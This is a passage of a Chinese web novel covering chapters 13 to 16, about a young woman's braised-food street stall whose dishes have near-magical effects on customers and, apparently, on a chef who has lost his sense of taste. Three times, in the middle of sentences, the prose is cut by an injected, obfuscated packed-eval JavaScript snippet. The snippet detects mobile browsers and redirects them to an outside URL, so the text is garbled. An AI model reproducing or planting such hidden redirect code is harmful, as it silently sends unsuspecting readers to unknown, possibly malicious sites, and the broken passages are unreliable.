若是不在晚上七点钟左右出门，自然是看不到那灯火通明的美食夜市街里大排长龙的壮观景色。 群众的目光是雪亮的。 纵是再迟钝的客人，也能慢慢体会到宋记卤味的神奇之处。 一些本就年轻康健的，只觉得最近精神愈发好，平日里工作的怨气都要减轻不少，效率也提升了。 而有些亚健康严重的，又或是有严重失眠的客人，在长期使用宋记卤味后，久违地感受到身体细胞的活力。 虽说这附近的邻里邻居都自觉不对外宣传宋记卤味这个小摊，可有人的地方就有江湖。 刘玲最近的皮肤状态是愈发好了。 虽然她抵死不愿承认，可公司里的女员工却从来没有放过她。 “玲姐！你就告诉我嘛，我保证不跟别人说~” 女人烫了一头慵懒蓬松的复古卷，豆沙红的双唇微启。 “玲姐，你就快交代你这光子嫩肤是在哪里做的嘛~我去的那家美容院的仪器效果没你这个好，你看看我这今年夏天弄出来的晒伤斑，你忍心吗？” 一旁戴着淡蓝色丝质织巾的女生轻推了一下她，摇头说道：“肯定不是光子嫩肤。” 她向前仔细盯着刘玲的脸，斩钉截铁道；“水光针！绝对是打了水光针！” 一行人争论个没完，刚刚对完报表的方蕾这才出言道：“行了，我平常跟刘玲呆的最久，她这应该不是去的美容院。” 方蕾跟刘玲平日里都在一个办公室，可以说是眼睁睁看着刘玲的皮肤一天天的越来越好。 她也不是没了解过医美，哪有能做到这个水平的？ 就现在这皮肤，谁还敢认刘玲是个有正在上高中的孩子的妈？ 就说是个大学生都有的人信！ 亲眼见到这么好的美容效果出现在身边，方蕾出于自己的私心，自然也忍不住想打探。 “刘玲，你这是不是吃了什么内调的补品丹药？这都是自己人，你就跟蕾姐说说呗。” 14.第 14 章 刘玲这会子是真有点骑虎难下了。 她最近的皮肤状态是在同事们眼皮底下一天一天好起来的，瞒也瞒不住。 原本随着年岁见长出现在眼角的细微皱纹，近些天来被慢慢抚平。整体皮肤也变得滑嫩白皙，紧致饱满。 别说同事，就连她每天早晨洗漱都忍不住凑近镜子，欣赏着自己的样貌，享受着这“重回十八岁”的快乐。 烫了一头复古卷的女生是公司的前台许婉，家境殷实。 平日里上下班开着白色的帕拉梅拉，年纪不大，但性格活泼，跟公司里大部分人都相处极佳。 虽说他们公司给前台的待遇不差，可真要说起来也就够她每天的开车的油钱和停车费，纯属图一乐。 人家被发配来上班，都是因为家里人见不得小孩闲着，特地找个熟人朋友托付，总比在家天天躺着不干事来得强。 许婉眼巴巴地盯着刘玲，声线里如蜜糖般的撒娇藏也藏不住。 “玲姐~” 亮晶晶的眼神缠绕着刘玲，兴许是这小孩撒娇打混的样子像极了自家女儿，又或许是身旁虎视眈眈的同事们如狼似虎的模样，刘玲最终败下阵来。 她面色微沉，略带着些小心翼翼。 这一群同事默契上前围拢，侧耳倾听，生怕被落下。 “先说好，这个事可不准跟外面的人说。” 刘玲压低声线，仔细叮嘱道。 宋记卤味这些日子是越来越紧俏，他家现在想买上卤菜全靠她和女儿下午一到点就往家赶。 若是没什么临时事务，最近工作日，刘玲都是到点就打卡，拿包走人。 就连王若丹也改了往日里拖拖拉拉的习惯，放了学就往家跑。校门口香喷喷的炸串，晶莹剔透的糖葫芦再也不能牵住她的魂。 “我家小区附近开了一家卖卤味的，那家摊位上的菜不仅好吃，效果也不一般。” “你不会是想说，你最近皮肤越来越好全靠这卤味吧？” 方蕾半信半疑，刘玲素日里做事也是条理分明，怎么这会子越说越不像话？ 吃个卤菜就能美容养颜？ 就是那夜市天天吹嘘自家烤猪蹄胶原蛋白满满的也不敢这么打包票啊！ 可刘玲却也不像是骗人的性子。 “我倒是觉得玲姐说的是真的！” 许婉乐呵呵地附和，她素日来吃喝不缺，饮食上一些滋补保养的见识还是有的。 “不是说药食同源嘛，现在好些做私房菜的都爱弄些药膳，说不准这个卤味店也是用的这些法子。” 方蕾还是觉得奇怪。 “但这听着也太玄乎了。” “山楂不也能开胃？”许婉认真辩解道，“很多食材本身就有自己的特质，说不定真是什么独家秘方呢！” “玲姐~” 她继续眨巴眼睛，施展大功。 刘玲无奈，老老实实把地址和出摊时间跟同事们道明，再三嘱咐不许外传。 下午六点，刘玲的副驾上多了个拿着粉扑补妆的许婉。 其他同事虽然好奇，但行动力却远远不如这个嗜美如命的富家小姐。 许婉一下班就跟着刘玲屁股后头上车，手上花大价钱做的定制款美甲在黑色安全带上不断嗒嗒作响。 刘玲看着后视镜，余光瞧见心急如切的许婉，唇角忍不住勾起笑意。 这小姑娘虽说进了职场，出了社会，性子倒是跟王若丹差不多，坐在副驾的样子像是被带着出门放风郊游的萨摩耶，虽然急切却不惹人讨厌。 停车入库，刘玲娴熟的操作看得许婉眼中地亮光愈发耀眼。 “行了，跟我走吧，动作搞快点啊。” 刘玲熄火下车，回头催促道。 她习惯性的快步频让许婉险些没追上，不得不踩着小高跟微微跑动，好悬才看见身影。 “来这！” 许婉听着声音立即朝着方位过去，落地还没来得及喘口气，她扶着腰向四周看去。 “怎么这么多人？！” 刚刚跑着过来没大注意，这会许婉抬头看着这长队，不由得倒吸一口凉气。 前方这队伍已经看不着起点，蛇形长队丝毫不见动弹。就这会，还有络绎不绝的人群往她们身后排去，拐了个弯消失在街角后。 “玲姐，平日里也是这么多人吗？这得等多久啊？” 许婉震惊地看向刘玲。 刘玲熟练地占着位置，低头点开微信发消息。 【丹丹，我今天先排到了，你直接回家吧。】 发完消息，刘玲这才把手机息屏，踮起脚尖，勉强向前望去。 今个儿前面绕了个回形的大弯，不过问题应该也不大，她心里盘算着数量。 “这还算少的，今天肯定能买上。” 她轻松说道。 “还能有买不上的？这家卤味是限购吗？” 此话一出，新客身份藏不住，身边前后排队的人目光不善，紧紧地看着许婉和刘玲。 群里强调多少遍了！ 怎么还有人把消息外泄！ 许婉察觉到前后氛围不对，略微瑟缩着，就听到刘玲压低声音说道。 “宋老板的习惯，一天只卖两桶，卖完了就收摊，咱们这个位置应该能排到第二桶的。” “加钱也不行？” 许婉的声音也跟着降低，细细索索的声音像小偷似的，用气声轻问道。 “不成，要是加钱就能买，宋老板直接涨价不就行了。” 刘玲对此也是颇为无奈，作为呼声最强的“涨价党”的一员，可他们的强烈意见却丝毫没能打动宋晚秋。 吃过宋记卤味的人自然不会抱着涨了价就能逃脱排队抢购的命运。 可能少一点竞争对手是一点啊！ 一元一串的价格对于这些虎视眈眈的忠实宋记顾客而言，跟白送也没区别。 偏偏宋老板年纪轻轻却极为佛系，放着有钱的生意不做，日日“躺平”。 每天卖完就收摊，半点不耽误。一听要加大规模便摆出一副生无可恋的模样，劝也劝不动。 好在老客们也是排出经验，排出水平，都能做份宋记卤味排队攻略了。 唯一问题就是，总有些不老实的不听规矩把消息外泄！ 林峰对此恨得咬牙切齿。 原本自宋老板延迟半小时出摊后，作为上班族的他买上卤味就已经轻松许多。 可不知是谁泄露了消息，某一天起这蹲守的食客竟然呈指数倍增长！ 骑着共享 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955114|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单车慢悠慢悠下班的林峰看着已经望不到末尾的队伍也傻眼了。 宋老板不是还没出摊吗！ 就这大长队，就是再加一桶卤菜也轮不到他啊！ 那一日，史称卤味大劫难。 宋记卤味出摊群里几乎三分之二的人都没买上菜，最后在好事者在蛛丝马迹的追踪下，可算是找到了万恶源头——【旭日东升】。 气愤的群友集体给杨东旭的视频点踩，更是出演一副黑装粉、粉装忠，在评论区上下开演。 更是拉拢新来的【旭日东升】粉丝，对其耳提面命制止事态扩散，这才算是止住了那股势头。 这帮老客当然知道以宋记卤味的威力，这名声只怕是挡也挡不住。 但能挡一日算一日！多吃一天是一天！ 许婉站在长队中，细长的高跟鞋让她不停地变换着姿势，可这队伍却丝毫没见个动静。 “玲姐，还有多久才到我们啊？” 刘玲刷着短视频，头也不抬道：“别着急，宋老板还没出摊呢？六点半她才过来。” “啊？” 许婉傻眼了，感情这会人都还没来呢？ “那我们怎么这会就来了，是不是到早了？” 刘玲瞧了瞧许婉，摇头无奈笑道：“还真是个傻丫头，你要是六点半才来还能买上菜啊？” 许婉不好意思地摸了摸耳朵，这才反应过来。 她平常也爱跟姐妹们去吃些网红餐厅，一些需要预约的私房也不少去，但像这家这么热闹的卖卤味的店倒还真是少见。 六点半到，许婉随着身边人抬起头，就瞧见远处的小区后门入口一个扎着马尾辫的女生推着推车走出。 “久等啦！一会儿把汤热上咱们就按顺序先选菜吧。” 这条美食街随着宋晚秋的出现变得更加鲜活起来。 宋晚秋从容点火盖上锅盖，一边复热卤汤，一边把穿完签的卤菜按类放好。 细指纤纤，如羊脂白玉，透着健康的光泽。 宋晚秋对摊前客人们焦灼的眼神已经修炼到浑然不觉的境界，流畅地掀开锅盖，琥珀色的卤汤微微冒泡，散发诱人的光泽。 汤锅热气上涌，透过发梢为宋晚秋的脸庞扑上一层朦胧的光晕。经过沉淀后的卤味香气随着汤汁的复热向整条街散去。 “好香！” 原本对刘玲的话已然信了□□成的许婉更加确信了，她忍不住深吸一口气，贪婪地想把这份香气占据。 “闻着有点不大一样。” 刘玲嗅了嗅味，今天这股卤香里还多了一些不同寻常的醇厚肉香。 她点开手机，放大摄像头倍数，却怎么也看不清。 叮咚。 通知栏里弹出最新的群消息。 【大消息！今天宋老板上新菜了】 【？】 【宋老板还有这么勤奋的时候？】 刘玲点开群聊，消息面板赫然弹出照片。 往日专门用来放置分类好的卤菜拼盘位置上新增了一块拼接桌板，桌班上方摆放着一排排围成圈的新品。 向来只写着卤菜串串价码的菜单下方，今天却也新增了两行文字。 【卤鸡腿 10元/只】 【卤鸭腿 12元/只】 15.第 15 章 “宋老板今天转性了？竟然真出了新菜？” 刘玲双指放大照片，右边盆子里整齐摆放的卤鸡腿隔着屏幕已然呼之欲出。 外皮经过长时间的卤制已经炖得酥烂，内里的鸡腿肉看起来依然软嫩多汁，表面还带有一些因为温度变化留下的胶质。 一旁的卤鸭腿的个头更大，表皮色泽也更深，整体油光水滑。每一只鸭腿看起来都厚实饱满，全都是精锐部队、上等货色。 许婉侧着头，看着照片也犯馋了。 往日里除了爱打扮，她就喜欢跟朋友们去打卡一些美食餐厅。 享誉业内的老字号，虚有其表的网红餐厅。别说H市当地，就是以前去国外留学时她也是各处吃了个遍。 可这会闻着摊位前飘过来的卤香味，瞧着这饱满诱人的鸡腿鸭腿，许婉不仅肚子空空作响，嘴巴的馋瘾更是被勾了起来。 在刀耕火种时期，这种对肉食的向往就已经深深地镌刻到人类的DNA里。 能量、脂肪、蛋白质，这些最原始的渴望，此刻在许婉的身体里被唤醒。 作为易胖体质的她，常年将减肥大业计入自己的日程。 一早上班就要来一杯特制的减肥黑咖，消除水肿降低食欲。 下班了也不忘去找自己的瑜伽私教减脂塑形，练练普拉提。 前几周又是请了年假跟小姐妹外出旅游，一路胡吃海塞玩了个爽，归来上秤看数字只得欲哭无泪。 截止今日，这已经是许婉吃减肥餐的第十天了。 干巴的鸡胸肉，越吃越打哕的魔芋粉，再加上喂兔子都要被嫌弃的甘蓝草料。 许婉已经好久都没尝到正常饭菜。 队伍逐渐向前，卤味香气也变得愈发浓郁。 “目前新品都限购哦，一单只能选一份，不可以多买。” 宋晚秋熟练地装着袋，一手抄着夹子，夹起一块带汁水的卤鸭腿放入有塑封膜的防沁牛皮纸袋，一齐封好口，并着刚调完味的卤菜盒子打包给上一位客人。 37度的体温怎么能说出这么冰冷的话语。 刘玲不甘心，妄想打动这看起来温温柔柔的小宋老板的心。 “宋老板~你看我都是常客了，就让我多买一个吧。” 刚刚还在腹诽许婉的撒娇水平，这会刘玲的模样也没差到哪去。 宋晚秋抬起头，乌黑浓密的马尾辫拢于右侧，素色淡雅的天蓝色毛衣开衫衬得她的眉眼更加温和。 “不行哦。” 这女人的心比什么都硬。 “新品本来也是因为响应大家号召才做的嘛，目前的数量确实也不是很充足呢。” 宋婉秋真诚地直视着刘玲的眼睛，看起来年轻好说话的女老板其实是最难打动的存在，任凭食客们撒泼打诨却从来没退让过。 “可以今天先选一个，另一种明天再尝试嘛。” 轻柔的语气打碎了刘玲的幻想，她无奈败下阵来。 最近半个月，因为每日大批量的精华萃取使用，宋晚秋的识海相较于最初已经扩大了不少，处理起固定份量的食材提纯也是驾轻就熟。 由于广大食客对于新菜品和加量的呼声实在过于强烈，宋晚秋考虑到目前菜品里主要还是以素菜为主，最终还是选定了卤鸡腿和卤鸭腿作为单品进行补充。 不过当前的萃取数量的确有限，两种品类各100只的数量已是她规定后的上限。 为了方便囤货，目前钱包充实，已然是个小富婆的宋晚秋还特意买了一个大冰柜来放置这些冰鲜肉类。 不买不知道，一买吓一跳。 市场上冷冻肉类的价格也是让宋晚秋大吃一惊，从利润上来看压根不输新鲜蔬菜。 因为走的批发市场的货源线，加上她有萃取异能在手，宋晚秋对冻货的时间要求相当宽松。 许多厂家直接拿出了清库存的超低报价，整合下来一只琵琶腿的单价还不到一块五。 若是一次多买些，还能再往下压。 鸭腿相较于冰鲜琵琶腿，一件的批发价甚至更低。 鸭肉本身上餐桌的机会就低于鸡肉。 一只饲养出笼的整鸭，身上的零部件早就随着现代社会的各个产业被各自夺去。 鸭毛鸭绒用于羽绒服的制作，鲜鸭血、鸭肠更是成为了下火锅的好材料。 若是再单独去掉价格更高的鸭掌、鸭翅，占据绝大部分的鸭肉反而是一只鸭子售卖过程中最便宜的部分。 这也是为什么活鸭上百块，而一些菜市场卖的正规烤鸭二十元一只却还能获利。 不过按照宋晚秋预估的出摊惯例进度，即便是要求限购，这两百只卤好的鸡腿鸭腿也会在热卤串串卖完前提前售罄。 因此按目前的备货量，她自然更不能任由大家放开了购买。 “行吧，那就给我拿个鸭腿。” 刘琳无奈投降，只好边选菜边开口，还不忘了给许婉也拿上一份挑菜的纸筒。 鸭腿相比于鸡腿，毕竟分量更大。 她这买完回家后还得让孩子和老公一块吃点儿，从最大化实用的角度来看便只能先买上一份卤鸭腿来尝尝鲜。 看这盘子里，鸭腿剩的没几只，想来与她同病相怜的人也不占少数。 “老板，那我要一个卤鸡腿。” 许婉也跟着开口道。 一人吃饱全家不饿。 况且以许婉的经验，鸡腿相较于鸭腿，它的肉质更加滑嫩。 鸭腿虽然更大，可尝起来也更柴，口感远不如鸡腿。 除了吃烤鸭外，她一向不爱点。 “宋老板，这鸭腿能切块儿吗？” 刘玲开口问道。 “切不了。” 宋晚秋用大勺舀上一勺卤汤，朝着碗里盛好卤菜顶头上浇去。 “也用不着切，这鸭腿也挺嫩的。整体卤得也比较软烂，可以直接手撕的。我给您拿个手套吧，您回家可以自己撕了装盘。” 宋晚秋从边上拿出两个包装好的一次性手套放进袋子里。 不是她没有服务意识，以宋记卤味目前的人流量，若是她主动提供手撕服务，后头排队的客人只怕要原地化身为狼人模样，仰天长啸。 刘玲这一问倒不是为了别的。 她是担心这一只卤鸭腿要上演一腿杀三士。 要是不把这肉分开，只怕还没争抢到这喷香鸭腿的归属权，就要闹得全家鸡飞狗跳，爆发王家的第N次世界大战。 二人接过打包袋，许婉在刘玲的再三叮嘱下还特地多买了些卤菜。 卤菜才到手，许婉立刻掏出牛皮纸袋撕开，狠狠地咬住一大口卤鸡腿。 “唔——” “玲姐，快给我张纸！！!” 许婉连忙呼救。 这卤鸡腿像是个隐藏式小炸弹，看起来不动声色。不过刚刚动嘴咬下，就有汤汁从她的唇角溢出，甚至沿着下巴流到了白色的衬衣上。 接过餐巾纸，许婉顾不得别的，立马把纸摁在衬衣领口止住汤汁的扩散。 随后小心地用牛皮纸袋接着，又忙着继续吃起卤鸡腿来。 卤鸡腿的表面被宋晚秋改了花刀，在进汤锅前，提前码料腌制。 炖煮关火后，更是在老卤汤中泡了许久才被捞出晾干。 这会儿一口咬下，嫩滑多汁的鸡腿肉直接轻松脱骨。 本就被处理过的皮下脂肪完全在口中化开，与浓缩后的汤汁融为一体。内部细嫩的肌肉纹理分明，丝丝缕缕都吸饱了卤汁精华。 吃了十天惨无人道减肥餐的许婉，现在甚至有些热泪盈眶的感觉。 身体中的每一个细胞都在叫嚣着：我要吃肉！ 每一口都是源自灵魂的揭竿起义，若是能无限畅吃，她毫不怀疑自己要被激发得患上暴食症状。 许婉一吃一个不吱声，一吃一纳闷儿。 玲姐介绍的卤味真的很不寻常。 鸡腿怎么着也不算是名贵食材，怎么偏生在这家卤味老板的手上做出这样的好味道呢？ 许婉平日里爱吃牛肉。 鸡肉一般就是吃一些减肥餐，或者是家里的阿姨用土鸡炖的鸡汤会喝上一盅。 鸡腿对她来说，从来没有什么特殊的。 说来奇怪，除了一些特殊腌制过的炸鸡，许婉经常能在鸡肉中吃出一些禽类特有的骚臭味。 可这宋记卤味的卤鸡腿里，除了唇齿留香的卤汤和饱满的肉香，她却一丝杂味儿都没有尝出来。 太好吃了。 许婉紧紧盯着牛皮纸袋，要不是这会还在大街上，她都快要忍不住嗦鸡骨头了。 这一个鸡腿下肚，对她来说跟猪八戒吃人参果没什么区别。 还没仔细尝出更多味儿来，就已经忍不住吃干抹净，通通下肚。 许婉念念不舍地盯着宋记卤味的摊位，桌上盆子里残留的的鸡腿、鸭腿，这里头也只剩三两只了。 这鸡腿绝对不一般！ 她认真地点了点头，确信这肯定不是普通的食材。也难怪这卤味摊的老板，每天只肯卖这些数量。 若是量太大了，像这种品质上佳，不知道是什么特殊品种的鸡腿，恐怕也不好订购。 不过这些有钱小老板的性格真是越来越奇怪了。 许婉不由地看向正在忙碌出摊的宋晚秋。 有这一手做卤味的水平，用的材料还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958734|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么好，干嘛要出来摆地摊呢？ 她随后摇了摇头，兴许这就是人家的爱好呢？ 就许富二代阔少爱装穷，人家小老板有钱就爱摆地摊怎么了？ 有怪癖的有钱人她可见多了，人家这爱好又不伤天害理，不纯属造福社会嘛！ 一旁的刘玲早早就跟许婉告别了。 看着许婉吃上第一口卤鸡腿的样子，她就快被馋得要被诱惑着一同拉下水。 可这限购一只的卤鸭腿要是被她现在就地解决。 以那家里两只神兽哀怨的样子，刘玲只怕也要招架不住了，便只得按耐住食欲，咽下口水飞速回家，眼不见为净。 许婉仔细地给自己的卤菜包装袋打了个死结，计划把这份卤菜带回家配米饭当晚餐，狠狠吃上一顿放纵餐。 回到路口，许婉坐上刚刚软件里预定的专车，重新开往公司。 【玲姐真的没骗人，那家的卤味真的很好吃，今天没跟着一块来的人吃大亏了！】 【就是新品居然要限购，真的吃不够，呜呜呜呜呜~】 许婉坐在后排真皮座椅上，精致的美甲敲动着手机键盘，在屏幕上发出清脆的节奏音。 她纤长浓密的睫毛不断扑闪，微微噘起的红唇更显动人。 前排的后视镜里，专车司机虽然有着专业素养，可眼神止不住看向镜子往后瞟。 不过这眼神里没有一丝对美色的觊觎，只有来自于大馋小子对美食的纯纯好奇。 “姑娘，你这是买的什么东西呀，怎么闻着这么香？” 因为刚刚吃了一整只卤鸡腿，又在小吃街上排了大半个小时的队，许婉已经被这股香融入习惯了，上车后也没察觉出来不对。 可这霸道的卤香味在许婉坐进来的时候，就已经让司机师傅馋了好阵子。 许婉的脸上透着薄红，略有些羞恼道：“啊，不好意思师傅，那我这会开下窗透下气吧。” 司机师傅连忙制止。 “没事姑娘，我不是那意思。就是有点好奇你这是买的什么哪家的东西，怎么闻起来那么香？” 从下班高峰期开始，司机师傅接单开车也有一会了。 下午出班前他出于经验，特地吃了顿简餐垫巴肚子。若按照往常的习惯，距离感觉到饿应该还有一两小时。 可自打许婉上车，他闻到这味儿，只觉得自己的肚子也开始提前发声抗议。 原本因为开了两小时车，略有些疲惫的大脑在闻到这股香味后也瞬间提神醒脑。 往常若不是乘客主动搭话，这位司机师傅一向只跟客户在行程开始和最后结束才做些确认，以免因为多话引起乘客不快。 可今天这单，硬是让他打破原则，忍不住同后座的女乘客搭起话来。 “师傅，你是个能保守秘密的人吗？” 司机师傅听到这郑重的语气，也不免正了一下神色。 看来这菜的确不同寻常，他应声道。 “我当然可以！” 许婉也一脸严肃，面色沉静地开口。 “那我也可以。” 没吃到宋记卤味前，许婉对前后排客人们的仇视眼光还有些百般不解，觉得他们有些小题大作，也不大明白今早刘玲为什么那么犹豫才敢向她们这帮人吐露秘密。 可吃完卤鸡腿后，她也不免为了自己的口腹之欲和老客们站起了同一战线，背叛了曾经的自己。 带着一股难以掩饰的悲愤，黑色专车飞速地驶往公司楼下。 许婉下车关上车门，司机师傅哀怨的眼神依然紧紧地缠绕着她，仿佛是受了多大的情伤，被她始乱终弃一般。 这打车软件怎么就只能乘客给司机打分呢？ 这要是能身份互换，专车师傅恨不得给许婉打个一星差评！ 刚刚下班为了买上卤味，她蹭的是玲姐的车。 为了明天的上班通勤顺利，许婉这会还得回公司停车场把自己那辆车开走。 许婉挎着包抬头望了望顶上的写字楼。 只见楼顶上最边上的一间大办公室仍然亮着灯，其他楼层几乎全都熄灭了灯光，只剩零星的几间办公室还在加班。 刚刚从包里拿出的车钥匙又被重新塞了回去，许婉忍不住深深地叹了口气。 “唉。” 她调转方向，重新刷完人脸门禁走回一楼大厅，按下了去往顶楼的电梯按钮。 窗帘被紧紧拉上，透着一丝微光。大门的材质选用了高端纯紫铜定制，底部绘制了些祥云吉图更显精致大气。 许婉敲了敲董事长办公室的大门，听到里头应声后，她轻轻推开缝隙，露出头来。 “姑姑，怎么还没走呢？” 16.第 16 章 在公司许多同事的眼里，许婉的关系户身份在她素日的行事作风里已经藏不住。 毕竟无论是衣食住行，还是平常的待人处事，都能看出她的身份不俗。就连她自己也跟同事主动交代过，她来上班也是因为家里人托了关系，只想让许婉别在家里闲着。 只不过，许婉从来没透露过。 她最大的关系，是公司的董事长，明华熙女士。 她们公司华光美妆，是一家全女性员工的化妆品公司，目前主推的中高端产品也是国内国产化妆品行业的一线品牌。 许婉随母姓，虽然作为关系户被安排进华光美妆，但也只是干了个前台。 她平日里也从来不嚣张跋扈，没主动跟公司的中上层领导攀过关系。除了消费水平惊人，做起工作也是严谨踏实，同普通员工没什么两样。 而作为公司大BOSS的明董，同下级员工的交流并不算多，往日里的出差频率极高，公司里除了一些明家关系密切的高层领导，谁也不知道许婉的真实背景。 不怕富二代躺平，只怕富二代奋斗。 许婉从英国留学归来便接连创业，第一轮开花店，第二轮进军宠物行业。 论起扑街的速度，不比另一位著名金融行业大V的冥灯选手杨某旭来得慢。 自归国后，许婉迅速地揣着七位数现金流进场，然后赔了个血本无归。 许妈妈眼瞧自家闺女这愈战愈败，愈败愈战的阵仗，立刻联系起自家小姑子，把女儿送进去华光美妆当前台。 生怕她因为在家赋闲太久又生了创业的念头。 要吃要喝，生活费照给不误。 若是还想创业，资金支持一切免谈。 就自家女儿这水平，要想守住家底，还是老老实实吃分红算了。 许婉拎着宋记卤味的包装袋进了办公室，耀眼的灯光下是明华熙掩饰不住的疲惫。 女人半躺在黑色真皮的老板椅上后仰，桌子上的文件略有些杂乱地散落在一旁。 桌面的玻璃杯微微冒着热气，一旁是开了封散落的布洛芬胶囊片。 “姑姑，你没事吧？” 虽然面上敷了一层粉底，可明华熙眼底的青黑却怎么遮瑕也遮不住。眉间因为长期皱眉产生的皱纹在睁眼看到许婉时才略有些放松。 “小婉，你今天怎么这会儿还没走？” 女人多的地方纷争不一定多。 真正多的，是每一个人对自己水平的高要求导致的不断加压，从而形成的内卷压力。 华光美妆一向工作强度大，工作量繁重，尤其是研发部门和营销部门，员工恨不得学会孙悟空的七十二变原地分身，把自己一个当成三个用。 公司强调工作效率，从不提倡无效加班，相应的薪资福利，法定待遇也都是给足了，上升渠道相当透明。 按照许婉平日里的习惯，这个时间点早就回家了，现在还在公司实在少见。 许婉回应道：“刚刚跟同事出去买了点吃的，这会才回来开车回公寓。结果看到您这还亮着灯我才上来的。” 她扫了扫桌面上的胶囊，出言关心道。 “怎么还吃上药了？身体还有些不舒服吗？” 明华熙看着侄女的身影，一身的疲惫也是减轻许多。 “没什么，就是有点头疼。” 她伸手把文件合拢对齐，放入腿边的办公柜中上锁。 “行了，还没吃饭吧？”明华熙穿上正装外套，搂着许婉出门。 “今天去姑姑家住吧，你跟你哥也好久没见了，晚上陪他说说话。” 明华熙按下专用电梯，直达底层车库，“明天姑姑要去A市出差，让老张直接开车送你来公司就行，反正明天你罗阿姨要开车去机场也顺路，我坐她的车就成。” 明华熙口中的罗阿姨是公司营销部门的总负责人，她家房子也买在明华熙隔壁。既然要一同出发，也就不需要再安排司机老张多去一趟机场了。 许婉坐上副驾驶，不安地看向正在开车的明华熙。 最近华光因为一些新产品的合作需要频繁出差，姑姑本就繁忙的日程最近更是忙得脚不沾地，昨天更是一天飞了三个城市。 可偏偏，最近家里的事情也不少...... 黑色宾利驶入小区，沿着景观湖畔开往最深处的区域，在一幢欧式风格的庭院前减速驶入车库。 明华熙按下指纹，脱下外套步入一楼待客厅，抬头对着楼上喊道。 “光霁，瞧瞧今天谁来啦！ ” 话音落下好阵子，别墅二楼左侧的卧室门打开，元光霁从屋子里走出向下探去。 他扯了扯嘴角，勉强笑了下。 “小婉来啦，随便坐吧。” 明华熙转过身，对着家里的做饭阿姨小声开口道：“王阿姨，这会直接上菜吧。” 元光霁从二楼走下，许婉望向他的眼神里，是藏不住的震惊。 光霁哥的身体，越发糟糕了。 男人穿着一件松垮的灰色睡衣，衣领空荡荡地挂在那突出的锁骨上。睡裤精致的真丝面料却遮不住底下瘦得惊人的双腿，裤管像是套在竹竿上左右晃荡。 身体的虚弱怎么也藏不住，骨节分明的右手让人看得心惊，透着病态的清瘦。 元光霁面色苍白，眼窝略有些凹陷。原本俊美的五官此刻笼罩着一股沉郁的阴霾，纤长的睫毛在眼下投下一片阴影，却难掩长期未曾安眠的疲累。 “光霁，今天那位陈主任怎么说？” 明华熙给侄女盛上一碗熬煮好的养生汤，眼神担忧地看向儿子。 元光霁的座位前唯有一小碗白米炖煮的稀粥。 “还是跟之前那些人说的一样。” 他想假装微笑却实在笑不出来，落下的唇角是这些天积攒不住的失望。 “都说查不出来，可能是并发症，只能等自然痊愈，别的什么法子都没有。” 元光霁用勺子舀起一勺稀粥，在嘴里停留好阵子才勉强咽下。 眼见儿子的症状依然没有好转，明华熙也同这些天一样，没了胃口。 许婉担心的眼神止不住。 已经快一个半月了。 她的哥哥元光霁原本是一家米其林餐厅的店主兼主厨。 店里的预约单子都快排到明年，论厨艺，元光霁在青年厨师界也是数一数二。 明家的下一代发展可谓是五花八门，没一个在正道上。 好在家里长辈一个个都很开明，对家里没一个能好好继承公司的接班人的事实也已经看开了。 没办法，许婉的堂姐明理现在各国开巡回画展，堂哥元光霁打小就坚定去学厨，一学就是二十来年。 她爸作为明家长子毅然决然让小孩随母姓，明家第三代唯一有着从商想法的许婉在自己归国创业的血赔千万后，也被发配去华光当前台小妹。 大家都有光明的未来。 可一个半月前，堂哥从S市考察店面归来，却在回老宅聚会的路上遇到了对面酒驾超速逆行，发生车祸。 送去医院抢救后，虽然他的身体因为车辆配备的及时避险装置及时发动，没出现太大的问题。 可住院后，元光霁吃着家里阿姨送来的饭菜，却怎么也没尝出菜里的味道。 不是丧失了对咸淡的区分。 而是一丝饭菜的味道都不能品尝出来。 那一刻，元光霁终于明白什么叫做味同嚼蜡。 进食仿佛是一场酷刑，除了麻木地感知到有食物进入食道，其他什么东西都无从感知。 味觉的消失像是一个信号，连带着他从前引以为傲的嗅觉也一同消失。 车祸术后第一次进食，元光霁强忍着不适勉强吃下的第一顿非流食饭菜。 没到两个小时，胃部强烈的不适让他吐了个昏天黑地。 除了稀粥，元光霁几乎吃不下任何东西，一米八七的个子仅凭一日两晚白米粥又如何能撑起。 明华熙抹着泪，安排好人脉带着儿子找到H市最权威的主治医生，却始终找不到解决办法。 每一位医生都告诉他，味觉的消失是一个非常复杂生理现象。 就像一些病毒性流行性感冒的患者也会出现临时的味觉障碍，常规味觉发生改变亦或者丧失都是非常正常的。 元光霁的味觉消失既然是出现于车祸之后，那么极有可能是由于一些神经上的并发症引起，病灶难以查询，治疗的方法目前也没什么好的手段，只能等待他自然痊愈。 这一等，就等了一个多月。 等到了餐厅闭店歇业，等到了二三十位国内外神经科、口腔科的专家医师，等到了元光霁的厌食症愈发严重。 等到了这个原本意气风发的男人，体重瘦下了三十多斤，仿佛一阵风便能吹走。 可元光霁失去的味觉依然没有回来。 一同回不来的，还有他的少年气盛。 胃是一种情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 